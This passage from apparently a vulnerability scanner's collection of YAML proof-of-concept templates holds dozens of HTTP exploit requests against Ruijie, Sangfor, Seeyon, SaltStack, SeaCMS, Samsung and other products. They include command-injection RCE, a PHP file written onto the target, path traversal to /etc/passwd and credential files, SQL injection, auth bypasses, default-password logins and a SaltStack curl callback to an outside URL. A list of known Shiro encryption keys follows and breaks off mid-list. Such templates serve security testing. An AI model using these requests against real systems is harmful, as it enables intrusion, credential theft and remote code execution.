/index.php?action=login.index&host=0 body: more=0&host=0&username=admin&password=admin&db=&lang=zh_cn&expire=3 follow_redirects: false expression: | response.status == 302 && response.headers["Location"] == "/index.php?action=admin.index&host=0" detail: author: B1anda0(https://github.com/B1anda0) links: - https://www.runoob.com/mongodb/working-with-rockmongo.html ================================================ FILE: WebScan/pocs/ruijie-eg-cli-rce.yml ================================================ name: poc-yaml-ruijie-eg-cli-rce set: r1: randomInt(8000, 10000) r2: randomInt(8000, 10000) rules: - method: POST path: /login.php headers: Content-Type: application/x-www-form-urlencoded body: | username=admin&password=admin?show+webmaster+user expression: | response.status == 200 && response.content_type.contains("text/json") search: | {"data":".*admin\s?(?P[^\\"]*) - method: POST path: /login.php headers: Content-Type: application/x-www-form-urlencoded body: | username=admin&password={{password}} expression: | response.status == 200 && response.content_type.contains("text/json") && response.headers["Set-Cookie"].contains("user=admin") && response.body.bcontains(b"{\"data\":\"0\",\"status\":1}") - method: POST path: "/cli.php?a=shell" follow_redirects: false body: | notdelay=true&command=expr {{r1}} * {{r2}} expression: | response.status == 200 && response.body.bcontains(bytes(string(r1 * r2))) detail: author: Jarcis links: - https://github.com/PeiQi0/PeiQi-WIKI-POC/blob/PeiQi/PeiQi_Wiki/%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E/%E9%94%90%E6%8D%B7/%E9%94%90%E6%8D%B7EG%E6%98%93%E7%BD%91%E5%85%B3%20cli.php%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md ================================================ FILE: WebScan/pocs/ruijie-eg-file-read.yml ================================================ name: poc-yaml-ruijie-eg-file-read rules: - method: POST path: /login.php headers: Content-Type: application/x-www-form-urlencoded body: | username=admin&password=admin?show+webmaster+user expression: | response.status == 200 && response.content_type.contains("text/json") search: | {"data":".*admin\s?(?P[^\\"]*) - method: POST path: /login.php headers: Content-Type: application/x-www-form-urlencoded body: | username=admin&password={{password}} expression: | response.status == 200 && response.content_type.contains("text/json") && response.headers["Set-Cookie"].contains("user=admin") && response.body.bcontains(b"{\"data\":\"0\",\"status\":1}") - method: POST path: /download.php?a=read_txt follow_redirects: false body: | file=/etc/passwd expression: | response.status == 200 && response.body.bcontains(b"\"status\":true,") && "root:[x*]?:0:0:".bmatches(response.body) detail: author: abbin777 influence_version: "@2000-2015" links: - https://github.com/PeiQi0/PeiQi-WIKI-POC/blob/PeiQi/PeiQi_Wiki/%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E/%E9%94%90%E6%8D%B7/%E9%94%90%E6%8D%B7EG%E6%98%93%E7%BD%91%E5%85%B3%20download.php%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md ================================================ FILE: WebScan/pocs/ruijie-eg-info-leak.yml ================================================ name: poc-yaml-ruijie-eg-info-leak rules: - method: POST path: /login.php headers: Content-Type: application/x-www-form-urlencoded body: | username=admin&password=admin?show+webmaster+user expression: | response.status == 200 && response.content_type.contains("text/json") search: | {"data":".*admin\s?(?P[^\\"]*) - method: POST path: /login.php headers: Content-Type: application/x-www-form-urlencoded body: | username=admin&password={{password}} expression: | response.status == 200 && response.content_type.contains("text/json") && response.headers["Set-Cookie"].contains("user=admin") && response.body.bcontains(b"{\"data\":\"0\",\"status\":1}") detail: author: Search?=Null description: "Ruijie EG网关信息泄漏" links: - https://mp.weixin.qq.com/s/jgNyTHSqWA5twyk5tfSQUQ ================================================ FILE: WebScan/pocs/ruijie-eweb-rce-cnvd-2021-09650.yml ================================================ name: poc-yaml-ruijie-eweb-rce-cnvd-2021-09650 set: r1: randomLowercase(4) r2: randomLowercase(4) phpcode: > "" payload: base64(phpcode) rules: - method: POST path: /guest_auth/guestIsUp.php body: | ip=127.0.0.1|echo '{{payload}}' | base64 -d > {{r2}}.php&mac=00-00 expression: | response.status == 200 - method: GET path: /guest_auth/{{r2}}.php expression: | response.status == 200 && response.body.bcontains(bytes(r1)) detail: author: White(https://github.com/WhiteHSBG) links: - https://xz.aliyun.com/t/9016?page=1 - https://www.ruijie.com.cn/gy/xw-aqtg-gw/86747/ ================================================ FILE: WebScan/pocs/ruijie-nbr1300g-cli-password-leak.yml ================================================ name: poc-yaml-ruijie-nbr1300g-cli-password-leak rules: - method: POST path: /WEB_VMS/LEVEL15/ follow_redirects: false headers: Authorization: Basic Z3Vlc3Q6Z3Vlc3Q= body: | command=show webmaster user&strurl=exec%04&mode=%02PRIV_EXEC&signname=Red-Giant. expression: | response.status == 200 && response.body.bcontains(bytes("webmaster level 2 username guest password guest")) detail: author: abbin777 links: - http://wiki.peiqi.tech/PeiQi_Wiki/%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E/%E9%94%90%E6%8D%B7/%E9%94%90%E6%8D%B7NBR%201300G%E8%B7%AF%E7%94%B1%E5%99%A8%20%E8%B6%8A%E6%9D%83CLI%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.html ================================================ FILE: WebScan/pocs/ruijie-uac-cnvd-2021-14536.yml ================================================ name: poc-yaml-ruijie-uac-cnvd-2021-14536 rules: - method: GET path: /login.php follow_redirects: false expression: | response.status == 200 && response.body.bcontains(b"RG-UAC登录页面") && response.body.bcontains(b"get_dkey_passwd") && "\"password\":\"[a-f0-9]{32}\"".bmatches(response.body) detail: author: jweny(https://github.com/jweny) links: - https://mp.weixin.qq.com/s?__biz=Mzg3NDU2MTg0Ng==&mid=2247483972&idx=1&sn=b51678c6206a533330b0279454335065 ================================================ FILE: WebScan/pocs/ruoyi-management-fileread.yml ================================================ name: poc-yaml-ruoyi-management-fileread groups: linux: - method: GET path: /common/download/resource?resource=/profile/../../../../etc/passwd expression: | response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) windows: - method: GET path: /common/download/resource?resource=/profile/../../../../Windows/win.ini expression: | response.status == 200 && response.body.bcontains(b"for 16-bit app support") detail: author: MaxSecurity(https://github.com/MaxSecurity) links: - https://github.com/PeiQi0/PeiQi-WIKI-POC/blob/PeiQi/PeiQi_Wiki/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/%E8%8B%A5%E4%BE%9D%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F/%E8%8B%A5%E4%BE%9D%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F%20%E5%90%8E%E5%8F%B0%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%20CNVD-2021-01931.md ================================================ FILE: WebScan/pocs/saltstack-cve-2020-16846.yml ================================================ name: poc-yaml-saltstack-cve-2020-16846 set: reverse: newReverse() reverseURL: reverse.url rules: - method: POST path: /run body: token=12312&client=ssh&tgt=*&fun=a&roster=aaa&ssh_priv=aaa|curl+{{reverseURL}}%3b expression: | reverse.wait(5) detail: author: we1x4n(https://we1x4n.com/) links: - https://mp.weixin.qq.com/s/R8qw_lWizGyeJS0jOcYXag - https://github.com/vulhub/vulhub/blob/master/saltstack/CVE-2020-16846/README.zh-cn.md ================================================ FILE: WebScan/pocs/saltstack-cve-2021-25282-file-write.yml ================================================ name: poc-yaml-saltstack-cve-2021-25282-file-write set: r1: randomLowercase(5) rules: - method: GET path: /run follow_redirects: false expression: | response.status == 200 && response.content_type.icontains("application/json") && response.body.bcontains(b"wheel_async") && response.body.bcontains(b"runner_async") - method: POST path: /run headers: Content-type: application/json body: >- {"eauth":"auto","client":"wheel_async","fun":"pillar_roots.write","data":"{{r1}}","path":"../../../../../../../../../tmp/{{r1}}"} follow_redirects: false expression: | response.status == 200 && response.content_type.icontains("application/json") && "salt/wheel/d*".bmatches(response.body) detail: author: jweny(https://github.com/jweny) links: - https://www.anquanke.com/post/id/232748 ================================================ FILE: WebScan/pocs/samsung-wea453e-default-pwd.yml ================================================ name: poc-yaml-samsung-wea453e-default-pwd rules: - method: POST path: /main.ehp follow_redirects: false body: | httpd;General;lang=en&login_id=root&login_pw=sweap12~ expression: | response.status == 200 && response.body.bcontains(bytes("document.formParent2.changepasswd1.value")) && response.body.bcontains(bytes("passwd_change.ehp")) detail: author: sharecast links: - https://iryl.info/2020/11/27/exploiting-samsung-router-wlan-ap-wea453e/ ================================================ FILE: WebScan/pocs/samsung-wea453e-rce.yml ================================================ name: poc-yaml-samsung-wea453e-rce set: r1: randomInt(40000, 44800) r2: randomInt(1140000, 1144800) rules: - method: POST path: /(download)/tmp/1.txt follow_redirects: false body: | command1=shell%3Aexpr {{r1}} - {{r2}}|dd of=/tmp/1.txt expression: | response.status == 200 && response.body.bcontains(bytes(string(r1 - r2))) detail: author: sharecast links: - https://iryl.info/2020/11/27/exploiting-samsung-router-wlan-ap-wea453e/ ================================================ FILE: WebScan/pocs/samsung-wlan-ap-wea453e-rce.yml ================================================ name: poc-yaml-samsung-wlan-ap-wea453e-rce set: r1: randomInt(800000000, 1000000000) r2: randomInt(800000000, 1000000000) r3: randomLowercase(8) rules: - method: POST path: /(download)/tmp/{{r3}}.txt body: | command1=shell:expr {{r1}} %2b {{r2}} | dd of=/tmp/{{r3}}.txt expression: | response.status == 200 && response.body.bcontains(bytes(string(r1 + r2))) detail: author: Print1n(http://print1n.top) links: - https://www.seebug.org/vuldb/ssvid-99075 - http://wiki.peiqi.tech/PeiQi_Wiki/%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E/%E4%B8%89%E6%98%9F/%E4%B8%89%E6%98%9F%20WLAN%20AP%20WEA453e%E8%B7%AF%E7%94%B1%E5%99%A8%20%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.html?h=%E4%B8%89%E6%98%9F%20WLAN%20AP%20WEA453e%E8%B7%AF%E7%94%B1%E5%99%A8%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E ================================================ FILE: WebScan/pocs/sangfor-ad-download.php-filedownload.yml ================================================ name: poc-yaml-sangfor-ad-download.php-filedownload rules: - method: GET path: /report/download.php?pdf=../../../../../etc/hosts follow_redirects: false expression: | response.status == 200 && response.body.bcontains(b'localhost') && response.headers['Content-Disposition'].contains('hosts') detail: author: PeiQi0 links: - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/webapp/%E6%B7%B1%E4%BF%A1%E6%9C%8D/%E6%B7%B1%E4%BF%A1%E6%9C%8D%20%E5%BA%94%E7%94%A8%E4%BA%A4%E4%BB%98%E6%8A%A5%E8%A1%A8%E7%B3%BB%E7%BB%9F%20download.php%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md tags: sangfor,file,download ================================================ FILE: WebScan/pocs/sangfor-ba-rce.yml ================================================ name: poc-yaml-sangfor-ba-rce set: r1: randomLowercase(8) rules: - method: GET path: /tool/log/c.php?strip_slashes=md5&host={{r1}} expression: | response.status == 200 && response.content_type.contains("text/html") && response.body.bcontains(bytes(md5(r1))) detail: author: Print1n(http://print1n.top) links: - http://wiki.peiqi.tech/PeiQi_Wiki/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/%E6%B7%B1%E4%BF%A1%E6%9C%8D/%E6%B7%B1%E4%BF%A1%E6%9C%8D%20%E6%97%A5%E5%BF%97%E4%B8%AD%E5%BF%83%20c.php%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.html ================================================ FILE: WebScan/pocs/sangfor-edr-arbitrary-admin-login.yml ================================================ name: poc-yaml-sangfor-edr-arbitrary-admin-login rules: - method: GET path: /ui/login.php?user=admin follow_redirects: false expression: > response.status == 302 && response.body.bcontains(b"/download/edr_installer_") && response.headers["Set-Cookie"] != "" detail: author: hilson links: - https://mp.weixin.qq.com/s/6aUrXcnab_EScoc0-6OKfA ================================================ FILE: WebScan/pocs/sangfor-edr-cssp-rce.yml ================================================ name: poc-yaml-sangfor-edr-cssp-rce rules: - method: POST path: /api/edr/sangforinter/v2/cssp/slog_client?token=eyJtZDUiOnRydWV9 headers: Content-Type: application/x-www-form-urlencoded body: >- {"params":"w=123\"'1234123'\"|id"} expression: > response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"uid=0(root)") detail: author: x1n9Qi8 Affected Version: "Sangfor EDR 3.2.17R1/3.2.21" links: - https://www.cnblogs.com/0day-li/p/13650452.html ================================================ FILE: WebScan/pocs/sangfor-edr-tool-rce.yml ================================================ name: poc-yaml-sangfor-edr-tool-rce set: r1: randomLowercase(8) r2: randomLowercase(8) rules: - method: GET path: "/tool/log/c.php?strip_slashes=printf&host={{r1}}%25%25{{r2}}" follow_redirects: false expression: | response.status == 200 && response.body.bcontains(bytes(r1 + "%" + r2)) detail: author: cookie links: - https://edr.sangfor.com.cn/ ================================================ FILE: WebScan/pocs/satellian-cve-2020-7980-rce.yml ================================================ name: poc-yaml-satellian-cve-2020-7980-rce set: r1: randomInt(800000000, 1000000000) r2: randomInt(800000000, 1000000000) rules: - method: POST path: >- /cgi-bin/libagent.cgi?type=J headers: Cookie: ctr_t=0; sid=123456789 Content-Type: application/json body: >- {"O_": "A", "F_": "EXEC_CMD", "S_": 123456789, "P1_": {"Q": "expr {{r1}} + {{r2}}", "F": "EXEC_CMD"}, "V_": 1} follow_redirects: true expression: response.body.bcontains(bytes(string(r1 + r2))) detail: author: JingLing(https://hackfun.org/) Affected version: Intellian Aptus Web <= 1.24 links: - https://nvd.nist.gov/vuln/detail/CVE-2020-7980 ================================================ FILE: WebScan/pocs/seacms-before-v992-rce.yml ================================================ name: poc-yaml-seacms-before-v992-rce set: r1: randomLowercase(8) rules: - method: GET path: "/comment/api/index.php?gid=1&page=2&rlist[]=*hex/@eval($_GET[_])%3B%3F%3E" expression: | response.status == 200 - method: GET path: "/data/mysqli_error_trace.php?_=printf(md5(\"{{r1}}\"))%3B" expression: | response.status == 200 && response.body.bcontains(bytes(md5(r1))) detail: author: bufsnake(https://github.com/bufsnake) links: - https://www.zhihuifly.com/t/topic/3118 ================================================ FILE: WebScan/pocs/seacms-rce.yml ================================================ name: poc-yaml-seacms-rce set: r: randomInt(800000000, 1000000000) r1: randomInt(800000000, 1000000000) rules: - method: POST path: "/search.php?print({{r}}%2b{{r1}})" headers: Content-Type: application/x-www-form-urlencoded body: | searchtype=5&searchword={if{searchpage:year}&year=:as{searchpage:area}}&area=s{searchpage:letter}&letter=ert{searchpage:lang}&yuyan=($_SE{searchpage:jq}&jq=RVER{searchpage:ver}&&ver=[QUERY_STRING]));/* expression: | response.status == 200 && response.body.bcontains(bytes(string(r + r1))) detail: author: neverendxxxxxx(https://github.com/neverendxxxxxx),violin seacms: v6.55 links: - https://www.jianshu.com/p/8d878330a42f ================================================ FILE: WebScan/pocs/seacms-sqli.yml ================================================ name: poc-yaml-seacms-sqli rules: - method: GET path: /comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20md5(202072102)))),@`%27` follow_redirects: true expression: > response.status == 200 && response.body.bcontains(b"6f7c6dcbc380aac3bcba1f9fccec99") detail: author: MaxSecurity(https://github.com/MaxSecurity) links: - https://www.uedbox.com/post/54561/ ================================================ FILE: WebScan/pocs/seacms-v654-rce.yml ================================================ name: poc-yaml-seacms-v654-rce set: rand: randomInt(2000000000, 2100000000) rules: - method: POST path: /search.php body: >- searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=prin&9[]=tf(md5({{rand}})); follow_redirects: true expression: | response.status == 200 && response.body.bcontains(bytes(md5(string(rand)))) detail: links: - http://0day5.com/archives/4249/ - https://phyb0x.github.io/2018/10/09/seacms%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E5%88%86%E6%9E%90/ ================================================ FILE: WebScan/pocs/seacmsv645-command-exec.yml ================================================ name: poc-yaml-seacmsv645-command-exec set: rand1: randomInt(200000000, 210000000) rand2: randomInt(200000000, 210000000) rules: - method: POST path: /search.php?searchtype=5 body: searchtype=5&order=}{end if} {if:1)print({{rand1}}%2b{{rand2}});if(1}{end if} expression: | response.body.bcontains(bytes(string(rand1 + rand2))) detail: author: Facker007(https://github.com/Facker007) links: - https://www.cnblogs.com/ffx1/p/12653597.html ================================================ FILE: WebScan/pocs/secnet-ac-default-password.yml ================================================ name: poc-yaml-secnet-ac-default-password rules: - method: GET path: /login.html expression: response.status == 200 && response.body.bcontains(b"安网科技-智能路由系统") - method: POST path: /login.cgi body: user=admin&password=admin expression: response.status == 200 && response.headers["Set-Cookie"].contains("ac_userid=admin,ac_passwd=") && response.body.bcontains(b"window.open('index.htm?_") detail: author: iak3ec(https://github.com/nu0l) links: - https://bbs.secnet.cn/post/t-30 ================================================ FILE: WebScan/pocs/seeyon-a6-employee-info-leak.yml ================================================ name: poc-yaml-seeyon-a6-employee-info-leak groups: poc1: - method: GET path: /yyoa/DownExcelBeanServlet?contenttype=username&contentvalue=&state=1&per_id=0 expression: response.status == 200 && response.body.bcontains(b"[Content_Types].xml") && response.body.bcontains(b"Excel.Sheet") detail: author: sakura404x version: 致远A6 links: - https://github.com/apachecn/sec-wiki/blob/c73367f88026f165b02a1116fe1f1cd2b8e8ac37/doc/unclassified/zhfly3351.md ================================================ FILE: WebScan/pocs/seeyon-a6-test-jsp-sql.yml ================================================ name: poc-yaml-seeyon-a6-test-jsp-sql set: rand: randomInt(200000000, 210000000) rules: - method: GET path: /yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20md5({{rand}})) expression: response.status == 200 && response.body.bcontains(bytes(md5(string(rand)))) detail: author: sakura404x version: 致远A6 links: - https://github.com/apachecn/sec-wiki/blob/c73367f88026f165b02a1116fe1f1cd2b8e8ac37/doc/unclassified/zhfly3346.md ================================================ FILE: WebScan/pocs/seeyon-ajax-unauthorized-access.yml ================================================ name: poc-yaml-seeyon-ajax-unauthorized-access rules: - method: GET path: /seeyon/thirdpartyController.do.css/..;/ajax.do expression: | response.status == 200 && response.body.bcontains(bytes("java.lang.NullPointerException:null")) - method: GET path: /seeyon/personalBind.do.jpg/..;/ajax.do?method=ajaxAction&managerName=mMOneProfileManager&managerMethod=getOAProfile expression: | response.status == 200 && response.body.bcontains(bytes("MMOneProfile")) && response.body.bcontains(bytes("productTags")) && response.body.bcontains(bytes("serverIdentifier")) && response.content_type.contains("application/json") detail: author: x1n9Qi8 links: - https://mp.weixin.qq.com/s/bHKDSF7HWsAgQi9rTagBQA - https://buaq.net/go-53721.html ================================================ FILE: WebScan/pocs/seeyon-cnvd-2020-62422-readfile.yml ================================================ name: poc-yaml-seeyon-cnvd-2020-62422-readfile rules: - method: GET path: /seeyon/webmail.do?method=doDownloadAtt&filename=index.jsp&filePath=../conf/datasourceCtp.properties follow_redirects: false expression: response.status == 200 && response.content_type.icontains("application/x-msdownload") && response.body.bcontains(b"ctpDataSource.password") detail: author: Aquilao(https://github.com/Aquilao) info: seeyon readfile(CNVD-2020-62422) links: - https://www.cnvd.org.cn/flaw/show/CNVD-2020-62422 ================================================ FILE: WebScan/pocs/seeyon-oa-a8-m-information-disclosure.yml ================================================ name: poc-yaml-seeyon-oa-a8-m-information-disclosure manual: true transport: http rules: - method: GET path: /seeyon/management/index.jsp expression: response.status == 200 - method: POST path: /seeyon/management/index.jsp headers: Content-Type: application/x-www-form-urlencoded body: password=WLCCYBD%40SEEYON follow_redirects: true expression: response.status == 200 && response.body.bcontains(bytes("Free Physical Memory Size")) detail: author: Monday links: - http://wiki.peiqi.tech/wiki/oa/%E8%87%B4%E8%BF%9COA/%E8%87%B4%E8%BF%9COA%20A8%20status.jsp%20%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%E6%BC%8F%E6%B4%9E.html ================================================ FILE: WebScan/pocs/seeyon-oa-cookie-leak.yml ================================================ name: poc-yaml-seeyon-oa-cookie-leak rules: - method: POST path: /seeyon/thirdpartyController.do body: | method=access&enc=TT5uZnR0YmhmL21qb2wvZXBkL2dwbWVmcy9wcWZvJ04%2BLjgzODQxNDMxMjQzNDU4NTkyNzknVT4zNjk0NzI5NDo3MjU4&clientPath=127.0.0.1 expression: | response.status == 200 && response.headers["Set-Cookie"].contains("JSESSIONID=") && response.body.bcontains(b"/seeyon/common/") - method: GET path: /seeyon/main.do?method=headerjs expression: | response.status == 200 && response.body.bcontains(b"\"name\":\"系统管理员\"") && response.body.bcontains(b"\"id\":\"-7273032013234748168\"") detail: author: Print1n(http://print1n.top) links: - https://mp.weixin.qq.com/s/0AqdfTrZUVrwTMbKEKresg ================================================ FILE: WebScan/pocs/seeyon-session-leak.yml ================================================ name: poc-yaml-seeyon-session-leak rules: - method: GET path: /yyoa/ext/https/getSessionList.jsp?cmd=getAll expression: response.status == 200 && response.body.bcontains(b"\r\n\r\n") detail: author: sakura404x links: - https://github.com/apachecn/sec-wiki/blob/c73367f88026f165b02a1116fe1f1cd2b8e8ac37/doc/unclassified/zhfly3345.md ================================================ FILE: WebScan/pocs/seeyon-setextno-jsp-sql.yml ================================================ name: poc-yaml-seeyon-setextno-jsp-sql set: rand: randomInt(200000000, 210000000) rules: - method: GET path: /yyoa/ext/trafaxserver/ExtnoManage/setextno.jsp?user_ids=(17)%20union%20all%20select%201,2,@@version,md5({{rand}})%23 expression: response.status == 200 && response.body.bcontains(bytes(md5(string(rand)))) detail: author: sakura404x version: 致远A6 links: - https://github.com/apachecn/sec-wiki/blob/c73367f88026f165b02a1116fe1f1cd2b8e8ac37/doc/unclassified/zhfly3348.md ================================================ FILE: WebScan/pocs/seeyon-unauthoried.yml ================================================ name: poc-yaml-seeyon-unauthoried rules: - method: POST path: "/seeyon/thirdpartyController.do" expression: "true" body: | method=access&enc=TT5uZnR0YmhmL21qb2wvZXBkL2dwbWVmcy9wcWZvJ04%2BLjgzODQxNDMxMjQzNDU4NTkyNzknVT4zNjk0NzI5NDo3MjU4 search: >- JSESSIONID=(?P.+?) - method: GET path: "/seeyon/main.do" headers: Cookie: JSESSIONID={{session}} expression: | response.status == 200 && response.body.bcontains(b"当前已登录了一个用户,同一窗口中不能登录多个用户") detail: author: whami-root(https://github.com/whami-root) links: - https://github.com/whami-root ================================================ FILE: WebScan/pocs/seeyon-wooyun-2015-0108235-sqli.yml ================================================ name: poc-yaml-seeyon-wooyun-2015-0108235-sqli set: rand: randomInt(200000000, 210000000) rules: - method: GET path: /yyoa/ext/trafaxserver/downloadAtt.jsp?attach_ids=(1)%20and%201=2%20union%20select%201,2,3,4,5,md5({{rand}}),7-- expression: | response.body.bcontains(bytes(md5(string(rand)))) detail: author: Rexus links: - https://bugs.shuimugan.com/bug/view?bug_no=0108235 ================================================ FILE: WebScan/pocs/seeyon-wooyun-2015-148227.yml ================================================ name: poc-yaml-seeyon-wooyun-2015-148227 rules: - method: GET path: /NCFindWeb?service=IPreAlertConfigService&filename=WEB-INF/web.xml follow_redirects: false expression: | response.status == 200 && response.content_type == "application/xml" && response.body.bcontains(bytes("NCInvokerServlet")) detail: author: canc3s(https://github.com/canc3s) links: - https://wooyun.x10sec.org/static/bugs/wooyun-2015-0148227.html ================================================ FILE: WebScan/pocs/shiro-key.yml ================================================ name: poc-yaml-shiro-key set: randstr: randomUppercase(32) sets: key: - "kPH+bIxk5D2deZiIxcaaaA==" - "2AvVhdsgUs0FSA3SDFAdag==" - "3AvVhmFLUs0KTA3Kprsdag==" - "4AvVhmFLUs0KTA3Kprsdag==" - "5aaC5qKm5oqA5pyvAAAAAA==" - "6ZmI6I2j5Y+R5aSn5ZOlAA==" - "bWljcm9zAAAAAAAAAAAAAA==" - "wGiHplamyXlVB11UXWol8g==" - "Z3VucwAAAAAAAAAAAAAAAA==" - "MTIzNDU2Nzg5MGFiY2RlZg==" - "zSyK5Kp6PZAAjlT+eeNMlg==" - "U3ByaW5nQmxhZGUAAAAAAA==" - "5AvVhmFLUs0KTA3Kprsdag==" - "bXdrXl9eNjY2KjA3Z2otPQ==" - "fCq+/xW488hMTCD+cmJ3aQ==" - "1QWLxg+NYmxraMoxAXu/Iw==" - "ZUdsaGJuSmxibVI2ZHc9PQ==" - "L7RioUULEFhRyxM7a2R/Yg==" - "r0e3c16IdVkouZgk1TKVMg==" - "bWluZS1hc3NldC1rZXk6QQ==" - "a2VlcE9uR29pbmdBbmRGaQ==" - "WcfHGU25gNnTxTlmJMeSpw==" - "ZAvph3dsQs0FSL3SDFAdag==" - "tiVV6g3uZBGfgshesAQbjA==" - "cmVtZW1iZXJNZQAAAAAAAA==" - "ZnJlc2h6Y24xMjM0NTY3OA==" - "RVZBTk5JR0hUTFlfV0FPVQ==" - "WkhBTkdYSUFPSEVJX0NBVA==" - "GsHaWo4m1eNbE0kNSMULhg==" - "l8cc6d2xpkT1yFtLIcLHCg==" - "KU471rVNQ6k7PQL4SqxgJg==" - "0AvVhmFLUs0KTA3Kprsdag==" - "1AvVhdsgUs0FSA3SDFAdag==" - "25BsmdYwjnfcWmnhAciDDg==" - "3JvYhmBLUs0ETA5Kprsdag==" - "6AvVhmFLUs0KTA3Kprsdag==" - "6NfXkC7YVCV5DASIrEm1Rg==" - "7AvVhmFLUs0KTA3Kprsdag==" - "8AvVhmFLUs0KTA3Kprsdag==" - "8BvVhmFLUs0KTA3Kprsdag==" - "9AvVhmFLUs0KTA3Kprsdag==" - "OUHYQzxQ/W9e/UjiAGu6rg==" - "a3dvbmcAAAAAAAAAAAAAAA==" - "aU1pcmFjbGVpTWlyYWNsZQ==" - "bXRvbnMAAAAAAAAAAAAAAA==" - "OY//C4rhfwNxCQAQCrQQ1Q==" - "5J7bIJIV0LQSN3c9LPitBQ==" - "f/SY5TIve5WWzT4aQlABJA==" - "bya2HkYo57u6fWh5theAWw==" - "WuB+y2gcHRnY2Lg9+Aqmqg==" - "3qDVdLawoIr1xFd6ietnwg==" - "YI1+nBV//m7ELrIyDHm6DQ==" - "6Zm+6I2j5Y+R5aS+5ZOlAA==" - "2A2V+RFLUs+eTA3Kpr+dag==" - "6ZmI6I2j3Y+R1aSn5BOlAA==" - "SkZpbmFsQmxhZGUAAAAAAA==" - "2cVtiE83c4lIrELJwKGJUw==" - "fsHspZw/92PrS3XrPW+vxw==" - "XTx6CKLo/SdSgub+OPHSrw==" - "sHdIjUN6tzhl8xZMG3ULCQ==" - "O4pdf+7e+mZe8NyxMTPJmQ==" - "HWrBltGvEZc14h9VpMvZWw==" - "rPNqM6uKFCyaL10AK51UkQ==" - "Y1JxNSPXVwMkyvES/kJGeQ==" - "lT2UvDUmQwewm6mMoiw4Ig==" - "MPdCMZ9urzEA50JDlDYYDg==" - "xVmmoltfpb8tTceuT5R7Bw==" - "c+3hFGPjbgzGdrC+MHgoRQ==" - "ClLk69oNcA3m+s0jIMIkpg==" - "Bf7MfkNR0axGGptozrebag==" - "1tC/xrDYs8ey+sa3emtiYw==" - "ZmFsYWRvLnh5ei5zaGlybw==" - "cGhyYWNrY3RmREUhfiMkZA==" - "IduElDUpDDXE677ZkhhKnQ==" - "yeAAo1E8BOeAYfBlm4NG9Q==" - "cGljYXMAAAAAAAAAAAAAAA==" - "2itfW92XazYRi5ltW0M2yA==" - "XgGkgqGqYrix9lI6vxcrRw==" - "ertVhmFLUs0KTA3Kprsdag==" - "5AvVhmFLUS0ATA4Kprsdag==" - "s0KTA3mFLUprK4AvVhsdag==" - "hBlzKg78ajaZuTE0VLzDDg==" - "9FvVhtFLUs0KnA3Kprsdyg==" - "d2ViUmVtZW1iZXJNZUtleQ==" - "yNeUgSzL/CfiWw1GALg6Ag==" - "NGk/3cQ6F5/UNPRh8LpMIg==" - "4BvVhmFLUs0KTA3Kprsdag==" - "MzVeSkYyWTI2OFVLZjRzZg==" - "empodDEyMwAAAAAAAAAAAA==" - "A7UzJgh1+EWj5oBFi+mSgw==" - "c2hpcm9fYmF0aXMzMgAAAA==" - "i45FVt72K2kLgvFrJtoZRw==" - "U3BAbW5nQmxhZGUAAAAAAA==" - "Jt3C93kMR9D5e8QzwfsiMw==" - "MTIzNDU2NzgxMjM0NTY3OA==" - "vXP33AonIp9bFwGl7aT7rA==" - "V2hhdCBUaGUgSGVsbAAAAA==" - "Q01TX0JGTFlLRVlfMjAxOQ==" - "Is9zJ3pzNh2cgTHB4ua3+Q==" - "NsZXjXVklWPZwOfkvk6kUA==" - "GAevYnznvgNCURavBhCr1w==" - "66v1O8keKNV3TTcGPK1wzg==" - "SDKOLKn2J1j/2BHjeZwAoQ==" - "kPH+bIxk5D2deZiIxcabaA==" - "kPH+bIxk5D2deZiIxcacaA==" - "3AvVhdAgUs0FSA4SDFAdBg==" - "4AvVhdsgUs0F563SDFAdag==" - "FL9HL9Yu5bVUJ0PDU1ySvg==" - "5RC7uBZLkByfFfJm22q/Zw==" - "eXNmAAAAAAAAAAAAAAAAAA==" - "fdCEiK9YvLC668sS43CJ6A==" - "FJoQCiz0z5XWz2N2LyxNww==" - "HeUZ/LvgkO7nsa18ZyVxWQ==" - "HoTP07fJPKIRLOWoVXmv+Q==" - "iycgIIyCatQofd0XXxbzEg==" - "m0/5ZZ9L4jjQXn7MREr/bw==" - "NoIw91X9GSiCrLCF03ZGZw==" - "oPH+bIxk5E2enZiIxcqaaA==" - 